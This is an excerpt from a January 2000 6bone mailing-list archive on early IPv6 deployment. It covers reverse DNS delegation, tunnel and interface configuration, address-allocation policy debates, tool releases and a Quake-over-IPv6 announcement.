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"Wilfried Woeber, UniVie/ACOnet" <woeber@cc.univie.ac.at> said:
> =[sloth]:~$ telnet 10.1
> =Trying 10.0.0.1...

>   That's exactly why we should avoid room for (different) interpretations.
  
>   "Everyone" in the routing world would read(expand) 10.1 as 10.1.0.0/16 :-)
>   and I suppose most of the tools (other than your telnet :-) would expand
>   that to 10.1.0.0/32 ....

  Actually, it's not that simple.  There are defined to be two
different interpretations.  When talking about *network* addresses,
10.1 is 10.1.0.0 (and, actually, I think the presumed netmask would be
/8, not /16, for net 10...).  When talking about a *host* address,
it's 10.0.0.1.  That's the "long established" way to do abreviated
dotted-quads.

  Actually, looking at the man page for inet(3) on my BSD/OS machine,
it doesn't even mention the system you're saying "everyone" uses.  It
only mentions the system of putting the last segment in the right-hand
side, scaling it appropriately based on how many segments are in the
given address.  You can probabaly find this man page on any BSD-based
system...

                   - Chris

--
Chris P. Ross				UUNET Technologies, Inc.
cross@eng.us.uu.net			R & D / Engineering
cross@uu.net

From 6bone-owner  Wed Jan 19 16:33:54 2000
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To: fink@es.net, bmanning@ISI.EDU
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Subject: please add "8.0.8.e.f.f.3.ip6.int." delegation infomation
From: Koji Kondo <koji@dti.ad.jp>
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Hi,

Would you please update your delegation infomation?
I have attached the NS records you'll need to add.

Thanks,
koji

--
;
8.0.8.e.f.f.3.ip6.int.	in	ns	gate.net.dti.ad.jp.
			in	ns	ix6.otemachi.dti.ad.jp.
;
--

From 6bone-owner  Thu Jan 20 10:11:04 2000
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From: Richard Draves <richdr@microsoft.com>
To: "'6bone'" <6bone@ISI.EDU>
Subject: FW: reverse lookup for 2002::/16
Date: Thu, 20 Jan 2000 10:10:46 -0800
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I haven't heard from Bill, does anyone else know about this stuff?

Thanks,
Rich

>  -----Original Message-----
> From: 	Richard Draves  
> Sent:	Friday, January 14, 2000 2:46 PM
> To:	'manning@isi.edu'
> Subject:	reverse lookup for 2002::/16
> 
> Hi Bill, what has to happen so that reserve lookup of 6to4 addresses can
> work? Can I send you the address of a DNS server to which you can delegate
> the reverse mappings for 2002:836b:4179::/48?
> 
> Thanks,
> Rich

From 6bone-owner  Thu Jan 20 17:33:34 2000
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To: Richard Draves <richdr@microsoft.com>
From: Bob Fink <fink@es.net>
Subject: Re: FW: reverse lookup for 2002::/16
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Rich,

  AM 1/20/00 -0800, Richard Draves wrote:
>I haven't heard from Bill, does anyone else know about this stuff?


I don't believe so, but he may have made some backup arrangements (which I 
will certainly push for if he hasn't), but he will need to tell us. So... 
we are stuck until he replies.


Thanks,

Bob


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Date: Fri, 21 Jan 2000 21:10:04 +0100
From: Mounir Eddabbabi <Mounir.Eddabbabi@ensi.rnu.tn>
Organization: ENSI
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To: ksbn@kt.co.kr
Cc: Xavier <xavier@euro.net>,
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	<6bone@ISI.EDU>,
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Subject: Re: video conference tools in IPv6
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ksb wrote:

> If you hope to test the video conference on IPv6,
> see following URLs.
>
> http://www-mice.cs.ucl.ac.uk/multimedia/software/rat/experimental/
> http://www-mice.cs.ucl.ac.uk/multimedia/software/vic/
>
> Will you send me the test results?
>
> Thanks.
>
> --
>   Kim, Sahng-Beom / Korea Telecom
>   TEL :    +82-42-870-8322
>   FAX :    +82-42-870-8329
>   E-mail :  ksbn@kt.co.kr
> --

Hi

I've two PCs (FreeBSD 3.2) with INRIA/IPv6 souche. I would like testing
vic and vat on IPv6. I've successefully installed them. But I don't know
how to succes the demo. This is the configuration of my test bed.


\                               6bone                              /

------------------------------

|  tunnel via cselt.it

|

-------------------------------------

|
|
                              ----------------------
---                                     ----------------------------
                             | 193.95.37.60 (neo.isetcom.rnu.tn)
|                                    | 193.95.37.61
(ploster.isetcom.rnu.tn) |

--------------------------
----------------------------
                                                     |
                              ---------------------- ---


I've tried that : vat ::1/2244 in both machines (vic too ; vic ::1/2255,
but nothing is happened. What should I do ? (tunnel or other
configuration that I've missed here)

best regards

PS. Can I get a conference web site (audio or video) for me connecting
and trying that ??? )

This is the configuration for ploster.isetcom.rnu.tn



[dabbabi@ploster ~]$ifconfig -au
ed1: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
        inet 193.95.37.61 netmask 0xffffff00 broadcast 193.95.37.255
        inet6 3ffe:1001:1:b000:280:c8ff:fe57:f3e2/128
        inet6 fe80::280:c8ff:fe57:f3e2/64
        ether 00:80:c8:57:f3:e2
sit0: flags=41<UP,RUNNING> mtu 1480
        inet6 ::193.95.37.61/96
        lladdr 00:00:c1:5f:25:3d
cti0: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1480
        inet6 ::193.95.37.61/128 --> ::193.95.37.60
        lladdr 00:00:c1:5f:25:3d
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384
        inet 127.0.0.1 netmask 0xff000000
        inet6 ::1/128



[dabbabi@ploster ~]$cat /etc/rc.ipv6
#!/bin/sh
/sbin/sysctl -w net.inet6.ipv6.forwarding=1
/sbin/sysctl -w net.inet6.ipv6.mforwarding=1
/sbin/autoconf6 -asvm ed1 >/tmp/autoconf6 2>&1
/usr/sbin/ndpd-host




and this one for neo.isetcom.rnu.tn



[dabbabi@neo dabbabi]$ifconfig -au
de0: flags=8c43<UP,BROADCAST,RUNNING,OACTIVE,SIMPLEX,MULTICAST> mtu 1500

        inet 192.168.0.1 netmask 0xffff0000 broadcast 192.168.255.255
        inet6 fe80::280:c8ff:fe0b:47ab/128
        inet6 fe80::280:c8ff:fe0b:47ac/64
        ether 00:80:c8:0b:47:ac
        media: autoselect (10base5/AUI) status: active
        supported media: autoselect 10base5/AUI 10base2/BNC 10baseT/UTP
<full-du
plex> 10baseT/UTP
tl0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
        inet 193.95.37.60 netmask 0xffffff00 broadcast 193.95.37.255
        inet6 3ffe:1001:1:b000::99/128
        inet6 fe80::208:c7ff:fe24:de16/64
        ether 00:08:c7:24:de:16
        media: autoselect (10baseT/UTP <half-duplex>)
        supported media: 100baseTX <full-duplex> 100baseTX <half-duplex>
100base
TX 10baseT/UTP <full-duplex> autoselect 10base5/AUI 10baseT/UTP
10baseT/UTP <hal
f-duplex>
sit0: flags=41<UP,RUNNING> mtu 1480
        inet6 ::193.95.37.60/96
        lladdr 00:00:c1:5f:25:3c
sit1: flags=41<UP,RUNNING> mtu 1480
        inet6 ::192.168.0.1/112
        lladdr 00:00:c0:a8:00:01
cti0: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1480
        inet6 3ffe:1001:1:b000::98/128 --> fe80::a3a2:aa84
        inet6 ::193.95.37.60/128 --> ::163.162.170.132
        inet6 fe80::c15f:253c/128 --> fe80::a3a2:aa84
        lladdr 00:00:c1:5f:25:3c
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384
        inet 127.0.0.1 netmask 0xff000000
        inet6 ::1/128




[dabbabi@neo dabbabi]$cat /etc/rc.ipv6
#!/bin/sh
#       IPv6 setup for neo.ipv6.isetcom.rnu.tn (FreeBSD 3.2)
#
/sbin/sysctl -w net.inet6.ipv6.forwarding=1
/sbin/sysctl -w net.inet6.ipv6.mforwarding=1
/sbin/autoconf6 -asvm tl0 >/tmp/autoconf6 2>&1
/sbin/ifconfig tl0 inet6 firstalias 3ffe:1001:0001:b000::99/128
/sbin/ifconfig de0 inet6 firstalias fe80::280:c8ff:fe0b:47ab/128
/usr/sbin/ndpd-router -s -D 60/20
cti_ifaces=`ifconfig -a|grep -w cti[0-9]*|grep -v UP|awk -F":" '{print
$1}'`
cti_iface=`echo $cti_ifaces|awk '{print \$1'}`
if [ -z $cti_iface ]; then
count=`/usr/sbin/sysctl net.inet6.ipv6.cti_count|awk '{print $2+1}'`
/usr/sbin/sysctl -w net.inet6.ipv6.cti_count=$count
iface=`echo $count -1| bc`
cti_iface=`echo cti$iface`
fi
/sbin/cticonfig -v -s 193.95.37.60 $cti_iface 163.162.170.132 >>
/tmp/tb.log
/sbin/ifconfig $cti_iface inet6 3ffe:1001:0001:b000::98/128
fe80::a3a2:aa84 alias >> /tmp/tb.log
/sbin/ifconfig $cti_iface inet6 first 3ffe:1001:0001:b000::98 >>
/tmp/tb.log
/sbin/route -n add -inet6 3ffe::/16 fe80::a3a2:aa84
/sbin/route -n add -inet6 5f00::/8 fe80::a3a2:aa84

--------------76D7784B89F251DA9BCB5897
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 name="Mounir.Eddabbabi.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for Mounir Eddabbabi
Content-Disposition: attachment;
 filename="Mounir.Eddabbabi.vcf"

begin:vcard 
n:Eddabbabi;Mounir
tel;home:216-4-896142
x-mozilla-html:FALSE
url:http://members.xoom.com/dabbabi/
org:ENSI;RSR
adr:;;BP 290 Av Taieb M'Hiri;Ariana;;2080;Tunisia
version:2.1
email;internet:Mounir.Eddabbabi@ensi.rnu.tn
title:Master Student
x-mozilla-cpt:;8864
fn:Mounir Eddabbabi
end:vcard

--------------76D7784B89F251DA9BCB5897--


From 6bone-owner  Sun Jan 23 18:04:18 2000
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Message-ID: <01BF65E5.70011AE0.hansolofalcon@worldnet.att.net>
From: Gregg C Levine <hansolofalcon@worldnet.att.net>
To: "'6Bone@isi.edu'" <6Bone@ISI.EDU>
Subject: Gathering a consensus
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Hello from Gregg C Levine from Jedi Knight Computers
I know that there is a large community out there using Linux, and Sun, and 
FreeBSD, to manage the IPv6 idea. But what about a version of BSD that was 
successfully ported to the Macintosh? This port is either NetBSD or 
OpenBSD, depending on the machine configuration, which is yet to be chosen. 
We are also looking at Linux on the PPC processor configuration, and then 
on a Mac, or even as a VMEbus system. I, myself, prefer Windows, or Linux, 
but that is already well known. Please contact me directly with ideas, 
suggestions, and complaints, especially complaints.
Gregg C Levine mailto:hansolofalcon@worldnet.att.net
"They were in the wrong place, at the wrong time, naturally they became 
heroes."
Princess Leia Organna of Alderann, Senator
"Remember, the Force will be with you."
Obi-Wan(Ben) Kenobi, Jedi Knight and, General, (Retired)
"No! Try not. Do... or do not. There is no try." - Yoda, Jedi Master
"May the Force be with you." Anonymous


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From 6bone-owner  Wed Jan 26 19:13:48 2000
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Date: Thu, 27 Jan 2000 01:03:47 -0200
To: itojun@itojun.org
From: Boozy <boozy@rabelo.eti.br>
Subject: Re: (KAME-snap 1790) Re: DNS for IPv6
Cc: snap-users@kame.net, gorgonio@ufba.br, 6bone@ISI.EDU, ipv6@rnp.br,
        users@ipv6.org, freebsd-net@freebsd.org
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Hi,

I finished the installation and configuration of bind8 for FreeBSD/KAME but
I don't know how I can set the reverse ipv6 address. I read the RFC 1886
(DNS Extensions to support IP version 6), but I didn't understand the
"IP6.INT Domain". How can I use it? Where can I find more information about
it?

Thanks,

Luciano Rabelo

At 10:33 26/01/2000 +0900, you wrote:
>
>>I installed bind8 port for FreeBSD/Kame. Where can I get information
about its
>>configuration? 
>
>	read through manpages, and books.  there's nothing special about it.
>	http://www.normos.org/ietf/rfc/rfc1886.txt may be of use.
>
>itojun
> 

From 6bone-owner  Thu Jan 27 00:41:41 2000
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To: Boozy <boozy@rabelo.eti.br>
cc: itojun@itojun.org, snap-users@kame.net, gorgonio@ufba.br, 6bone@ISI.EDU,
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Subject: Re: (KAME-snap 1790) Re: DNS for IPv6
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On Thu, 27 Jan 2000, Boozy wrote:

> Hi,
> 
> I finished the installation and configuration of bind8 for FreeBSD/KAME but
> I don't know how I can set the reverse ipv6 address. I read the RFC 1886
> (DNS Extensions to support IP version 6), but I didn't understand the
> "IP6.INT Domain". How can I use it? Where can I find more information about
> it?

You might want to read "IPv6 DNS examples" on
http://www.visc.vt.edu/ipv6/doc/dns.html 

-- 
Pontus Lidman, pontus@mathcore.com, Software Engineer
No matter how cynical you get, it's impossible to keep up.
Scene: www.dc-s.com | MUD: tyme.envy.com 6969 | irc: irc.quakenet.eu.org


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To: Luciano Rabelo <rabelo@unimetro.com.br>
CC: snap-users@kame.net, users@ipv6.org, 6bone@ISI.EDU
Subject: Re: Apps and network layers
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Luciano Rabelo wrote:

> Hi,
>
> I have some doubts. Applications and services like telnet, ftp, apache
> (http), and others, are implemented at application layer. So they wouldn´t
> need to be patched to IPv6 because the network layer functions should by
> transparency for them. Am I right? If yes, why that programs have patches
> to work with IPv6? Will every applications have to be patched?
>

IPv6 addresses are larger than IPv4 addresses and stored in different
structures. More recent API's provide generic containment and encapsulation
of addresses so that you do not need to know which type or protocol you are
using, but applications older than those API's need to be converted to deal
with them.

In short, you can't just stuff the result from gethostbyname() into an
unsigned int, unless you have a BITS implementation running underneath.

D


From 6bone-owner  Thu Jan 27 20:56:08 2000
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From: "Paul Wilson" <pwilson@apnic.net>
To: <6bone@ISI.EDU>
Subject: RE: prefix lengths [was Re: stla registry db issue]
Date: Fri, 28 Jan 2000 14:43:30 +1000
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Here's a somewhat belated response on this topic, and on the previous
thread.

In this discussion it seems to me that the critical question is, what
defines an ISP?

In the v4 world, BigCo may be a large multinational company with a large
multihomed infrastructure, which doesn't call itself an ISP but which
nevertheless qualifies for a Provider Independent (i.e. portable, globally
routable) allocation. On the other hand, SmallCo may provide ISP services,
but have a small singly-homed infrastructure and therefore not qualify for a
PI allocation (needing instead to get address space from its upstream).
Therefore the allocations that RIRs make are not simply dependent on whether
the organisation is an "ISP", but rather on a number of other
technically-based and objective criteria.

We could of course redefine the term "ISP" to mean an organisation that
actually receives a PI allocation, but that's not really useful or necessary
since the term is so widely used to refer to a bigger class of
organisations.

In the IPv6 world, we could likewise define an "ISP" as an organisation that
qualifies for a /35 allocation and a /29 (subTLA) reservation, and I suspect
that this definition is behind some of the previous discussions. In this
case it goes without saying that we would never share a /29 among multiple
"ISPs", simply because the /29 is reserved for each "ISP".

However we must agree that once a /29 has been reserved/allocated to one
organisation, there *will* be downstream customer organisations receiving
assignments from that address block and using those assignments for ISP
activities. But the critical thing is that whether or not they call
themselves an ISP (and we don't care) their assignment will be "provider
aggregatable" and not entitled to be announced globally. Rather, like any
other downstream customer, their prefixes will be aggregated by the upstream
provider within its own announcement.

I believe it is this type of organisation (the small, downstream ISP) which
Kengo Nagahashi was referring to in his original message.

Incidentally, I guess such a downstream organisation (call it an ISP or not)
could conceivably end up with a /35 or larger assignment, but would still
aggregate that within its upstream address block, until such time as it
qualified for its own subTLA allocation. Furthermore, my understanding (and
correct me if i'm wrong) is that such an organisation could also be
multi-homed, having an equal-sized assignment from each of several
upstreams, but again having each of its routes aggregated in the global
announcements of those upstreams. This may not be the best case, but it
surely must be a possible outcome for one of the small ISP that grows a
multi-homed infrastructure without yet qualifying for a subTLA.

Finally, on the question of advertising prefix lengths longer than /29, it
is in fact the proposal of the RIRs that the prefixes announced by any
organisation will correspond only to their allocation (anywhere from /16 to
/35), and not to their reservation (which would be either /16 or /29). The
justification behind this (as discussed with the IAB in Minneapolis last
year) is that in a future scenario where many TLA and subTLA blocks were
released and allocated, and where routing table expansion again becomes a
concern, it is necessary for ISPs to have an objective means available for
limiting the size of their routing tables, and the best such means available
is to filter on prefix length.

The alternative is a huge routing table populated with /16 and /29 prefixes
only, where no objective means for route filtering is available, and where
bilateral routing agreements would emerge as the only way for an ISP to
control its tables.

Regards,

Paul Wilson
APNIC.





______________________________________________________________________
Paul Wilson, Director-General, APNIC               <pwilson@apnic.net>
http://www.apnic.net                          ph/fx +61 7 3367 0490/82
----------------------------------------------------------------------
See you at APRICOT 2000!  28 Feb - 2 Mar  http://www.apricot2000.ne.kr
----------------------------------------------------------------------



> -----Original Message-----
> From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of Brian
> E Carpenter
> Sent: Wednesday, 29 December 1999 3:51
> To: 6bone@ISI.EDU
> Subject: prefix lengths [was Re: stla registry db issue]
>
>
> Folks,
>
> 2**64 is a big number. It's the square of 2**32 if nobody
> noticed. The majority of
> BigCos will be able to understand this and use no more than an
> SLA. If there are a few
> idiot CIOs who insist on more for no good reason, it isn't the
> end of the world.
>
> I am very relaxed about /29s being reserved at this stage of the
> life of IPv6,
> because 2**29 is also a big number. I'm not recommending any
> change in the RIR
> guideline of only allocating /35s; all I'm doing is saying that
> we must stick
> to the rule of not splitting /29s between ISPs.
>
> If BigCo is 20-homed, and doesn't want to deal with 20 prefixes,
> then I can certainly
> see a case for them leasing a prefix that can be in the
> default-free table. But this
> really will be the exception case. What we must do is ensure that
> a 2-homed site can
> easily deal with 2 prefixes. BTW, how many 6bone sites are
> multihomed today?
>
>    Brian
>
> "Perry E. Metzger" wrote:
> >
> > "Michael H. Lambert" <lambert@psc.edu> writes:
> > > On Thu, 23 Dec 1999, Bill Manning wrote:
> > > >
> > > >     Er, that is pretty much exactly the point I was trying to make.
> > > >     If Brian is right and that group is successful in restricting
> > > >     announcements to /29's, how much space is wasted for the sixty
> > > >     nodes that form the cluster "www.bigco.com" that has connections
> > > >     to 20 major ISPs?
> > >
> > > But is "bigco.com" a transit IPv6 provider?  My understanding
> is that if
> > > it isn't, it should never be allocated its own TLA.  It
> should receive a
> > > small block from each of its ISPs.  Or am I missing something?
> >
> > Anyone out there who thinks they can actually prevent GM or Yahoo or
> > the like from getting their own routes announced should talk to an
> > anti-trust lawyer.
> >
> > Perry
>
> --
> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
> Brian E Carpenter (IAB Chair)
> Program Director, Internet Standards & Technology, IBM
> On assignment for IBM at http://www.iCAIR.org
> Attend INET 2000: http://www.isoc.org/inet2000
> Non-IBM email: brian@icair.org
>
>
>


From 6bone-owner  Fri Jan 28 04:14:38 2000
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: prefix lengths [was Re: stla registry db issue]
To: pwilson@apnic.net (Paul Wilson)
Date: Fri, 28 Jan 2000 04:14:29 -0800 (PST)
Cc: 6bone@ISI.EDU
In-Reply-To: <002f01bf694a$39593ff0$4701a8c0@wilson.staff.apnic.net> from "Paul Wilson" at Jan 28, 2000 02:43:30 PM
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% Here's a somewhat belated response on this topic, and on the previous
% thread.
% 
% In this discussion it seems to me that the critical question is, what
% defines an ISP?

	And to answer this question it would be prudent to revisit 
	the discussions on this very point in the CIDRd and PIARA
	wg minutes from 1994-1997.  It turns out that the only
	significant difference between an "ISP" and and "RIR" is
	whether they announce via a routing protocol some/all of their
	delegated prefixes to peers.  

% themselves an ISP (and we don't care) their assignment will be "provider
% aggregatable" and not entitled to be announced globally. Rather, like any
% other downstream customer, their prefixes will be aggregated by the upstream
% provider within its own announcement.

	the kicker is, once a delegation is made, what enforcement
	methods are in place? And given the fluid nature of the 
	technology, fixing "entitlements" to specific delegations is
	downright silly.

% is in fact the proposal of the RIRs that the prefixes announced by any
% organisation will correspond only to their allocation (anywhere from /16 to
% /35), and not to their reservation (which would be either /16 or /29). The
% justification behind this (as discussed with the IAB in Minneapolis last
% year) is that in a future scenario where many TLA and subTLA blocks were
% released and allocated, and where routing table expansion again becomes a
% concern, it is necessary for ISPs to have an objective means available for
% limiting the size of their routing tables, and the best such means available
% is to filter on prefix length.

	there is zero enforcement capability for this view and attempts
	to do so, globally,  by the RIRs will get the RIRs into some 
	interesting discussions on restraint of trade, at least in the US.
	ISPs (or those announcing some or all of their delegated prefixen)
	can use these objective means, ON A CASE BY CASE BASIS, to determin
	what/if they will filter.

% The alternative is a huge routing table populated with /16 and /29 prefixes
% only, where no objective means for route filtering is available, and where
% bilateral routing agreements would emerge as the only way for an ISP to
% control its tables.

	The picture is not that bleak. While there is a push for migration
	to strict bilateral agreements, there is an opening to use 
	contracted, neutral route servers to construct routing views 
	based on ISP whim/policy for given points in the topology.
	Several folks use this service today and I expect it to become
	more widely used... unless the market collapses into a small
	handful of providers.  Quite frankly, I prefer the dense mesh
	of 100s of thousands of providers with peering relationships with 
	hundreds of peers instead of hundreds of providers with tens of peers.

	i.e. address delegation policy should not be based on a 
	presumption of potential peering, at least for IPv6.

	Sorry for the rant. 

% Regards,
% 
% Paul Wilson
% APNIC.
% 
% ______________________________________________________________________
% Paul Wilson, Director-General, APNIC               <pwilson@apnic.net>
% http://www.apnic.net                          ph/fx +61 7 3367 0490/82
% ----------------------------------------------------------------------
% See you at APRICOT 2000!  28 Feb - 2 Mar  http://www.apricot2000.ne.kr
% ----------------------------------------------------------------------
% 
% 
% 
% > -----Original Message-----
% > From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of Brian
% > E Carpenter
% > Sent: Wednesday, 29 December 1999 3:51
% > To: 6bone@ISI.EDU
% > Subject: prefix lengths [was Re: stla registry db issue]
% >
% >
% > Folks,
% >
% > 2**64 is a big number. It's the square of 2**32 if nobody
% > noticed. The majority of
% > BigCos will be able to understand this and use no more than an
% > SLA. If there are a few
% > idiot CIOs who insist on more for no good reason, it isn't the
% > end of the world.
% >
% > I am very relaxed about /29s being reserved at this stage of the
% > life of IPv6,
% > because 2**29 is also a big number. I'm not recommending any
% > change in the RIR
% > guideline of only allocating /35s; all I'm doing is saying that
% > we must stick
% > to the rule of not splitting /29s between ISPs.
% >
% > If BigCo is 20-homed, and doesn't want to deal with 20 prefixes,
% > then I can certainly
% > see a case for them leasing a prefix that can be in the
% > default-free table. But this
% > really will be the exception case. What we must do is ensure that
% > a 2-homed site can
% > easily deal with 2 prefixes. BTW, how many 6bone sites are
% > multihomed today?
% >
% >    Brian
% >
% > "Perry E. Metzger" wrote:
% > >
% > > "Michael H. Lambert" <lambert@psc.edu> writes:
% > > > On Thu, 23 Dec 1999, Bill Manning wrote:
% > > > >
% > > > >     Er, that is pretty much exactly the point I was trying to make.
% > > > >     If Brian is right and that group is successful in restricting
% > > > >     announcements to /29's, how much space is wasted for the sixty
% > > > >     nodes that form the cluster "www.bigco.com" that has connections
% > > > >     to 20 major ISPs?
% > > >
% > > > But is "bigco.com" a transit IPv6 provider?  My understanding
% > is that if
% > > > it isn't, it should never be allocated its own TLA.  It
% > should receive a
% > > > small block from each of its ISPs.  Or am I missing something?
% > >
% > > Anyone out there who thinks they can actually prevent GM or Yahoo or
% > > the like from getting their own routes announced should talk to an
% > > anti-trust lawyer.
% > >
% > > Perry
% >
% > --
% > - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
% > Brian E Carpenter (IAB Chair)
% > Program Director, Internet Standards & Technology, IBM
% > On assignment for IBM at http://www.iCAIR.org
% > Attend INET 2000: http://www.isoc.org/inet2000
% > Non-IBM email: brian@icair.org
% >
% >
% >
% 
% 


-- 
--bill

From 6bone-owner  Fri Jan 28 07:01:01 2000
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I am having problems getting some hosts to communicate on the 6bone
and would welcome some assistance.  I have a Cisco 4500 configured
with the latest IOS for ipv6.  It appears to be working
correctly, and from the router I can ping any ipv6 address that I
have tried.  The machines under the router however are having
more problems.  I have a FreeBSD machine running 3.2 and KAME,
and a Sparc Station running Solaris 7 with the ipv6 stack from Sun.
>From either of these machines I can ping the default router
3ffe:1cde::1, or my end of the tunnel (3ffe:1cff:0:f2::2), but not
the other end (3ffe:1cff:0:f2::1).  When the machines first boot, I
can only ping the default port, not the tunnel until I replace the
default route to point to 3ffe:1cde::1 instead of the Link address
that is default in either OS.  The router has a single static route
of "ipv6 route 3ffe::0/16 3ffe:1cff:0:f2::1".

Has anyone else had similar problems, or am I making some glaringly
obvious mistake here?  Any assistance welcomed..

thanks,

Kent Brown
kent.brown@fedex.com


From 6bone-owner  Sat Jan 29 09:04:23 2000
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unsusbscribe  
 
 
 
  
 




____________________________________________________________________
Get free email and a permanent address at http://www.amexmail.com/?A=1

From 6bone-owner  Mon Jan 31 10:53:27 2000
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Date: Mon, 31 Jan 2000 19:51:19 +0100
From: Guardini Ivano <Ivano.Guardini@CSELT.IT>
Subject: New version of ASpath-tree
To: "'6bone'" <6bone@ISI.EDU>
Cc: Fasano Paolo <Paolo.Fasano@CSELT.IT>
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Hi all,

this is just to inform you that a new version of ASpath-tree (v3.0) is
now available for download at the following URL:
http://carmen.cselt.it/ipv6/download.html

As many of you already know, ASpath-tree can be used by any 
site connected to the 6bone BGP4+ cloud to collect a wide range
of BGP4+ operational reports (routing tree visualization, automatic
detection of unaggregated and invalid prefixes, routing stability
analysis, etc.).
This new version of the tool has been improved as follows:
- added support for the new IANA assigned prefixes (i.e. 6to4 plus
  sTLA delegations);
- added support for Cisco IOS 12.x;
- improved execution speed (about 5-10 times faster) and
  overall efficiency;
- many other small changes and improvements almost everywhere.

ASpath-tree v3.0 is already up and working here at CSELT. Just have a
look at: http://carmen.cselt.it/ipv6

Please do not hesitate to contact me if you need more information.

Bye
Ivano




From 6bone-owner  Mon Jan 31 15:06:42 2000
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Date: Mon, 31 Jan 2000 15:06:53 -0800
To: "Paul Wilson" <pwilson@apnic.net>, <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: RE: prefix lengths [was Re: stla registry db issue]
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Paul,

At 02:43 PM 1/28/00 +1000, Paul Wilson wrote:
>Here's a somewhat belated response on this topic, and on the previous
>thread.
>
>In this discussion it seems to me that the critical question is, what
>defines an ISP?
>
>In the v4 world, BigCo may be a large multinational company with a large
>multihomed infrastructure, which doesn't call itself an ISP but which
>nevertheless qualifies for a Provider Independent (i.e. portable, globally
>routable) allocation. On the other hand, SmallCo may provide ISP services,
>but have a small singly-homed infrastructure and therefore not qualify for a
>PI allocation (needing instead to get address space from its upstream).
>Therefore the allocations that RIRs make are not simply dependent on whether
>the organisation is an "ISP", but rather on a number of other
>technically-based and objective criteria.
>
>We could of course redefine the term "ISP" to mean an organisation that
>actually receives a PI allocation, but that's not really useful or necessary
>since the term is so widely used to refer to a bigger class of
>organisations.
>
>In the IPv6 world, we could likewise define an "ISP" as an organisation that
>qualifies for a /35 allocation and a /29 (subTLA) reservation, and I suspect
>that this definition is behind some of the previous discussions. In this
>case it goes without saying that we would never share a /29 among multiple
>"ISPs", simply because the /29 is reserved for each "ISP".
>
>However we must agree that once a /29 has been reserved/allocated to one
>organisation, there *will* be downstream customer organisations receiving
>assignments from that address block and using those assignments for ISP
>activities. But the critical thing is that whether or not they call
>themselves an ISP (and we don't care) their assignment will be "provider
>aggregatable" and not entitled to be announced globally. Rather, like any
>other downstream customer, their prefixes will be aggregated by the upstream
>provider within its own announcement.
>
>I believe it is this type of organisation (the small, downstream ISP) which
>Kengo Nagahashi was referring to in his original message.
>
>Incidentally, I guess such a downstream organisation (call it an ISP or not)
>could conceivably end up with a /35 or larger assignment, but would still
>aggregate that within its upstream address block, until such time as it
>qualified for its own subTLA allocation. Furthermore, my understanding (and
>correct me if i'm wrong) is that such an organisation could also be
>multi-homed, having an equal-sized assignment from each of several
>upstreams, but again having each of its routes aggregated in the global
>announcements of those upstreams. This may not be the best case, but it
>surely must be a possible outcome for one of the small ISP that grows a
>multi-homed infrastructure without yet qualifying for a subTLA.
>
>Finally, on the question of advertising prefix lengths longer than /29, it
>is in fact the proposal of the RIRs that the prefixes announced by any
>organisation will correspond only to their allocation (anywhere from /16 to
>/35), and not to their reservation (which would be either /16 or /29). The
>justification behind this (as discussed with the IAB in Minneapolis last
>year) is that in a future scenario where many TLA and subTLA blocks were
>released and allocated, and where routing table expansion again becomes a
>concern, it is necessary for ISPs to have an objective means available for
>limiting the size of their routing tables, and the best such means available
>is to filter on prefix length.
>
>The alternative is a huge routing table populated with /16 and /29 prefixes
>only, where no objective means for route filtering is available, and where
>bilateral routing agreements would emerge as the only way for an ISP to
>control its tables.

One opinion (mine at a minimum) is that simply filtering on length of 
prefix does not accomplish any desired result, i.e., that it is not an 
adequate determiner of any interesting metric. ISP's (especially large 
ones) will continue to filter based on whatever criteria are imortant to 
them, and length of prefix alone will not be it.


Bob


From 6bone-owner  Mon Jan 31 15:20:54 2000
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Date: Mon, 31 Jan 2000 18:19:55 -0500
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
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Good day,
 On Jan 13th 3h10 am, we played what we think is the first IPv6
multiuser game: the well-known quake using IPv6.

 Quake source (the quakeforge version) was ported to Freebsd and then
ported to freebsd-kame-ipv6 and solaris8-ipv6-ready. Some code was based
on ipv6 code for linux-quake from Pontus Lidman (Thanks Pontus). We are
currently porting the NT version with the MSR NT stack.  Information on
the port and source code is available in english at
http://www.viagenie.qc.ca/en/quake.shtml and en français à
http://www.viagenie.qc.ca/en/quake.shtml .  Port was done by Florent
Parent and André Cormier of Viagénie.

 A quake-ipv6 server (running solaris8-ipv6) is available to the
community: quake.ipv6.viagenie.qc.ca, so people can play together using
IPv6.  It is a IPv6-only server: no IPv4.  If you need IPv6 connectivity
for your computer, you can use our freenet6 service:
http://www.freenet6.net.

 If you want to play with us, the crew here is scheduled to play every
friday 16h00 EST (GMT -5:00 I think). 

 comments, support and suggestions are welcome at:
quake-v6@viagenie.qc.ca

Marc Blanchet, for the team.

From 6bone-owner  Mon Jan 31 15:21:31 2000
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From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
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To: 6bone@ISI.EDU, c2-tech@canarie.ca
Subject: quake on IPv6: a first for IPv6!
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Good day,
 On Jan 13th 3h10 am, we played what we think is the first IPv6
multiuser game: the well-known quake using IPv6.

 Quake source (the quakeforge version) was ported to Freebsd and then
ported to freebsd-kame-ipv6 and solaris8-ipv6-ready. Some code was based
on ipv6 code for linux-quake from Pontus Lidman (Thanks Pontus). We are
currently porting the NT version with the MSR NT stack.  Information on
the port and source code is available in english at
http://www.viagenie.qc.ca/en/quake.shtml and en français à
http://www.viagenie.qc.ca/en/quake.shtml .  Port was done by Florent
Parent and André Cormier of Viagénie.

 A quake-ipv6 server (running solaris8-ipv6) is available to the
community: quake.ipv6.viagenie.qc.ca, so people can play together using
IPv6.  It is a IPv6-only server: no IPv4.  If you need IPv6 connectivity
for your computer, you can use our freenet6 service:
http://www.freenet6.net.

 If you want to play with us, the crew here is scheduled to play every
